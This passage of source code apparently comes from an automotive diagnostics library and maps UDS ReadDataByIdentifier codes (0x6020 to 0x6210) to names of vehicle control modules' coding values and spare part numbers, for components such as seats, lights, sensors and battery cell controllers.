\"Refrigerant_pressure_and_temperature_sender_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6020] = \"Sun_roof_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6021] = \"Steering_column_lock_actuator_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6022] = \"Anti_theft_tilt_system_control_unit_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6023] = \"Tire_pressure_monitor_antenna_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6024] = \"Heated_windshield_control_module_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6025] = \"Rear_light_left_1_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6026] = \"Ceiling_light_module_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6027] = \"Left_front_massage_seat_control_module_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6028] = \"Right_front_massage_seat_control_module_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6029] = \"Control_module_for_auxiliary_air_heater_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x602a] = \"Belt Pretensioner left_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x602b] = \"Belt Pretensioner right_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x602c] = \"Occupant Detection_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x602d] = \"Selector_lever_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x602e] = \"NOx_sensor_1_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x602f] = \"NOx_sensor_2_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6030] = \"Ioniser_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6031] = \"Multi_function_steering_wheel_control_module_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6032] = \"Left_rear_door_control_module_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6033] = \"Right_rear_door_control_module_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6034] = \"Left_rear_massage_seat_control_module_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6035] = \"Right_rear_massage_seat_control_module_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6036] = \"Display_unit_1_for_multimedia_system_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6037] = \"Battery_monitoring_control_module_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6038] = \"Roof_blind_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6039] = \"Sun_roof_2_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x603a] = \"Steering_angle_sender_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x603b] = \"Lane_change_assistant 2_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x603c] = \"Pitch_rate_sender_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x603d] = \"ESP_sensor_unit_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x603e] = \"Electronic_ignition_lock_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x603f] = \"Air_quality_sensor_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6040] = \"Display_unit_2_for_multimedia_system_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6041] = \"Telephone_handset_2_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6042] = \"Chip_card_reader_control_module_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6043] = \"Traffic_data_aerial_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6044] = \"Hands_free_system_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6045] = \"Telephone_handset_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6046] = \"Display_unit_front_for_multimedia_system_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6047] = \"Multimedia_operating_unit_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6048] = \"Digital_sound_system_control_module_2_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6049] = \"Electrically_adjustable_steering_column_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x604a] = \"Interface_for_external_multimedia_unit_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x604b] = \"Relative_Air_Humidity_Interior_Sender_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x604c] = \"Drivers_door_rear_control_module_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x604d] = \"Passengers_rear_door_control_module_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x604e] = \"Sensor_controlled_power_rear_lid_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x604f] = \"Camera_for_night_vision_system_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6050] = \"Relative_humidity_sensor_in_fresh_air_intake_duct_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6051] = \"Rear_spoiler_adjustment_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6052] = \"Roof_blind_2_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6053] = \"Motor_for_wind_deflector_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6054] = \"Voltage_stabilizer_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6055] = \"Switch_module_for_driver_seat_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6056] = \"Switch_module_for_front_passenger_seat_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6057] = \"Switch_module_for_rear_seat_driver_side_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6058] = \"Switch_module_for_rear_seat_front_passenger_side_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6059] = \"Switch_module_2_for_driver_seat_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x605a] = \"Battery_charger_unit_1_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x605b] = \"Battery_charger_unit_2_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x605c] = \"Battery_charger_unit_3_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x605d] = \"Air_conditioning_compressor_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x605e] = \"Neck_heating_left_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x605f] = \"Neck_heating_right_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6060] = \"Switch_module_2_for_front_passenger_seat_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6061] = \"Switch_module_2_for_rear_seat_front_passenger_side_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6062] = \"Compact_disc_database_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6063] = \"Rear_climatronic_operating_and_display_unit_left_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6064] = \"Rear_climatronic_operating_and_display_unit_right_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6065] = \"Door_handle_front_left_Kessy_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6066] = \"Door_handle_front_right_Kessy_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6067] = \"Door_handle_rear_left_Kessy_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6068] = \"Door_handle_rear_right_Kessy_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6069] = \"Power_converter_DC_AC_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x606a] = \"Battery_monitoring_control_module_2_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x606b] = \"Matrix_headlamp_powermodule_1_left_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x606c] = \"Matrix_headlamp_powermodule_1_right_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x606d] = \"High_beam_powermodule_left_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x606e] = \"High_beam_powermodule_right_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x606f] = \"Air_suspension_compressor_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6070] = \"Rear_brake_actuator_1_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6071] = \"Rear_brake_actuator_2_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6072] = \"Analog_clock_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6073] = \"Rear_door_control_module_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6079] = \"Data_medium_2_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x607a] = \"Operating_unit_center_console_1_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x607b] = \"Operating_unit_center_console_2_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x607c] = \"Operating_unit_center_console_3_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x607d] = \"Operating_unit_center_console_4_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x607e] = \"Interface_for_radiodisplay_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x607f] = \"Parkassist_entry_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6086] = \"Belt_pretensioner_3rd_row_left_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6087] = \"Belt_pretensioner_3rd_row_right_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6088] = \"Injection_valve_heater_control_unit_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6089] = \"Steering_column_switch_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x608a] = \"Brake_assistance_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x608b] = \"Trailer_articulation_angle_sensor_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x608c] = \"Cup_holder_with_heater_and_cooling_element_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x608d] = \"Range_of_vision_sensing_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x608e] = \"Convenience_and_driver_assist_operating_unit_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x608f] = \"Cradle_rear_climatronic_operating_and_display_unit_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6090] = \"Trailer_weight_nose_weight_detection_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6091] = \"Sensor_carbon_dioxide_concentration_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6092] = \"Sensor_fine_dust_concentration_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6093] = \"Volume_control_1_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6094] = \"Belt_buckle_presenter_2nd_row_left_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6095] = \"Belt_buckle_presenter_2nd_row_right_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6096] = \"Operating_and_display_unit_6_for_air_conditioning_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6097] = \"Active_accelerator_pedal_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6098] = \"Multimedia_operating_unit_2_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6099] = \"Display_unit_3_for_multimedia_system_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x609a] = \"Display_unit_4_for_multimedia_system_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x609b] = \"Display_unit_5_for_multimedia_system_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x609c] = \"Control_module_for_auxiliary_blower_motors_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x609d] = \"Operating_and_display_unit_3_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x609e] = \"Operating_and_display_unit_4_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x609f] = \"Operating_and_display_unit_5_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60a0] = \"Side Sensor Driver Front_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60a1] = \"Side Sensor Passenger Front_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60a2] = \"Side Sensor Driver Rear_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60a3] = \"Side Sensor Passenger Rear_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60a4] = \"Front Sensor Driver_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60a5] = \"Front Sensor Passenger_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60a6] = \"Pedestrian Protection Driver_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60a7] = \"Pedestrian Protection Passenger_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60a8] = \"Rear Sensor Center_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60a9] = \"Pedestrian Protection Center_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60aa] = \"Pedestrian Protection Contact_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60ab] = \"Pedestrian_protection_driver_2_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60ac] = \"Pedestrian_protection_passenger_2_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60ad] = \"Central_sensor_XY_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60ae] = \"Refrigerant_pressure_and_temperature_sender_2_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60af] = \"Refrigerant_pressure_and_temperature_sender_3_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60b0] = \"Switch_for_rear_multicontour_seat_driver_side_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60b1] = \"Valve_block_1_in_driver_side_rear_seat_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60b2] = \"Valve_block_2_in_driver_side_rear_seat_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60b3] = \"Valve_block_3_in_driver_side_rear_seat_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60b4] = \"Switch_for_rear_multicontour_seat_passenger_side_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60b5] = \"Valve_block_1_in_passenger_side_rear_seat_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60b6] = \"Valve_block_2_in_passenger_side_rear_seat_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60b7] = \"Valve_block_3_in_passenger_side_rear_seat_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60b8] = \"Switch_for_front_multicontour_seat_driver_side_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60b9] = \"Valve_block_1_in_driver_side_front_seat_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60ba] = \"Valve_block_2_in_driver_side_front_seat_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60bb] = \"Valve_block_3_in_driver_side_front_seat_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60bc] = \"Switch_for_front_multicontour_seat_passenger_side_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60bd] = \"Valve_block_1_in_passenger_side_front_seat_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60be] = \"Valve_block_2_in_passenger_side_front_seat_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60bf] = \"Valve_block_3_in_passenger_side_front_seat_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60c0] = \"Coolant_heater_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60c1] = \"Seat_backrest_fan_1_front_left_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60c2] = \"Seat_backrest_fan_2_front_left_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60c3] = \"Seat_cushion_fan_1_front_left_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60c4] = \"Seat_cushion_fan_2_front_left_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60c5] = \"Seat_backrest_fan_1_front_right_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60c6] = \"Seat_backrest_fan_2_front_right_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60c7] = \"Seat_cushion_fan_1_front_right_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60c8] = \"Seat_cushion_fan_2_front_right_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60c9] = \"Operating_and_display_unit_1_for_air_conditioning_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60ca] = \"Operating_and_display_unit_2_for_air_conditioning_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60cb] = \"Operating_and_display_unit_3_for_air_conditioning_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60cc] = \"Operating_and_display_unit_4_for_air_conditioning_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60cd] = \"Operating_and_display_unit_5_for_air_conditioning_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60ce] = \"Pedestrian_protection_left_hand_side_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60cf] = \"Pedestrian_protection_right_hand_side_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60d0] = \"Battery_junction_box_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60d1] = \"Cell_module_controller_1_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60d2] = \"Cell_module_controller_2_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60d3] = \"Cell_module_controller_3_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60d4] = \"Cell_module_controller_4_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60d5] = \"Cell_module_controller_5_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60d6] = \"Cell_module_controller_6_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60d7] = \"Cell_module_controller_7_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60d8] = \"Cell_module_controller_8_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60d9] = \"Cell_module_controller_9_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60da] = \"Cell_module_controller_10_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60db] = \"Cell_module_controller_11_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60dc] = \"Cell_module_controller_12_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60dd] = \"Seat_backrest_fan_1_rear_left_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60de] = \"Seat_backrest_fan_2_rear_left_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60df] = \"Seat_cushion_fan_1_rear_left_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60e0] = \"Seat_cushion_fan_2_rear_left_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60e1] = \"Seat_backrest_fan_1_rear_right_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60e2] = \"Seat_backrest_fan_2_rear_right_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60e3] = \"Seat_cushion_fan_1_rear_right_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60e4] = \"Seat_cushion_fan_2_rear_right_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60e5] = \"Auxiliary_blower_motor_control_1_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60e6] = \"Auxiliary_blower_motor_control_2_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60e7] = \"Infrared_sender_for_front_observation_module_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60e8] = \"Starter_generator_control_module_sub_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60e9] = \"Media_player_1_sub_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60ea] = \"Media_player_2_sub_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60eb] = \"Dedicated_short_range_communication_aerial_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60ec] = \"Refrigerant_pressure_and_temperature_sender_4_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60ed] = \"Refrigerant_pressure_and_temperature_sender_5_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60ee] = \"Refrigerant_pressure_and_temperature_sender_6_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60ef] = \"Air_coolant_actuator_1_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60f0] = \"Air_coolant_actuator_2_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60f1] = \"Cell_module_controller_13_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60f2] = \"Cell_module_controller_14_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60f3] = \"Cell_module_controller_15_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60f5] = \"Seat_heating_rear_1_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60f6] = \"LED_warning_indicator_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60f7] = \"Automatic_transmission_fluid_pump_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60f8] = \"Manual_transmission_fluid_pump_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60f9] = \"Convenience_and_driver_assist_operating_unit_2_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60fb] = \"Air_coolant_actuator_3_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60fc] = \"Valve_block_4_in_driver_side_rear_seat_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60fd] = \"Valve_block_4_in_passenger_side_rear_seat_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60fe] = \"Valve_block_4_in_driver_side_front_seat_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x60ff] = \"Valve_block_4_in_passenger_side_front_seat_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6101] = \"Rear_climatronic_operating_and_display_unit_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6102] = \"Refrigerant_expansion_valve_1_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6103] = \"Refrigerant_expansion_valve_2_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6104] = \"Refrigerant_expansion_valve_3_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6105] = \"Refrigerant_shut_off_valve_1_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6106] = \"Refrigerant_shut_off_valve_2_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6107] = \"Refrigerant_shut_off_valve_3_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6108] = \"Refrigerant_shut_off_valve_4_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6109] = \"Refrigerant_shut_off_valve_5_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x610a] = \"Sunlight_sensor_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x610b] = \"Near_field_communication_control_module_2_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x610c] = \"Clutch_control_unit_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x610d] = \"Electrical_charger_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x610e] = \"Rear_light_left_2_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x610f] = \"Rear_light_right_1_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6110] = \"Rear_light_right_2_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6111] = \"Sunlight_sensor_2_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6112] = \"Radiator_shutter_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6113] = \"Radiator_shutter_2_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6114] = \"Radiator_shutter_3_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6115] = \"Radiator_shutter_4_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6118] = \"Special_key_operating_unit_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6119] = \"Radio_interface_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x611a] = \"Video_self_protection_recorder_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x611b] = \"Special_vehicle_assist_interface_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x611c] = \"Electric_system_disconnection_diode_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x611d] = \"Cradle_rear_climatronic_operating_and_display_unit_2_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x611e] = \"Belt_pretensioner_2nd_row_left_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x611f] = \"Belt_pretensioner_2nd_row_right_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6120] = \"Electrical_variable_camshaft_phasing_1_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6121] = \"Electrical_variable_camshaft_phasing_2_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6122] = \"Wireless_operating_unit_1_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6123] = \"Wireless_operating_unit_2_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6124] = \"Front_windshield_washer_pump_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6125] = \"Air_quality_sensor_2_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6126] = \"Fragrancing_system_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6127] = \"Coolant_valve_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6128] = \"Near_field_communication_control_module_3_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6129] = \"Interior_monitoring_rear_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x612a] = \"Cooler_fan_1_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x612b] = \"Control_unit_heating_1_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x612c] = \"Control_unit_heating_2_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x612d] = \"Control_unit_heating_3_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x612e] = \"Control_unit_heating_4_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x612f] = \"Operating_unit_drive_mode_selection_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6130] = \"Side_sensor_a-pillar_driver_front_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6131] = \"Side_sensor_a-pillar_passenger_front_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6132] = \"Sensor_high_voltage_system_1_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6133] = \"Side_sensor_b-pillar_driver_front_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6134] = \"Side_sensor_b-pillar_passenger_front_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6135] = \"Multi_function_steering_wheel_control_module_2_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6136] = \"Gear_selection_display_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6137] = \"Cooler_fan_2_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6138] = \"Gear_selector_control_module_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6139] = \"Interior_light_module_2_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x613a] = \"Radio_control_center_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x613b] = \"Multimedia_extension_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x613c] = \"Control_unit_differential_lock_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x613d] = \"Control_unit_ride_control_system_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x613e] = \"Control_unit_hands_on_detection_steering_wheel_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x613f] = \"Front_climatronic_operating_and_display_unit_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6140] = \"Auxiliary_display_unit_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6141] = \"Card_reader_tv_tuner_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6142] = \"Park_lock_actuator_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6143] = \"Media_connector_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6144] = \"Catalyst_heating_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x6201] = \"Control_unit_for_wiper_motor_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6202] = \"Rain_light_recognition_sensor_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6203] = \"Light_switch_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6204] = \"Garage_door_opener_control_module_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6205] = \"Garage_door_opener_operating_unit_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6206] = \"Ignition_key_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6207] = \"Left_front_seat_ventilation_control_module_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6208] = \"Right_front_seat_ventilation_control_module_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6209] = \"Left_rear_seat_ventilation_control_module_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x620a] = \"LED_headlamp_powermodule_left_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x620b] = \"LED_headlamp_powermodule_right_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x620c] = \"LED_headlamp_powermodule_2_left_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x620d] = \"LED_headlamp_powermodule_2_right_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x620e] = \"Operating_and_display_unit_1_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x620f] = \"Operating_and_display_unit_2_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6210] = 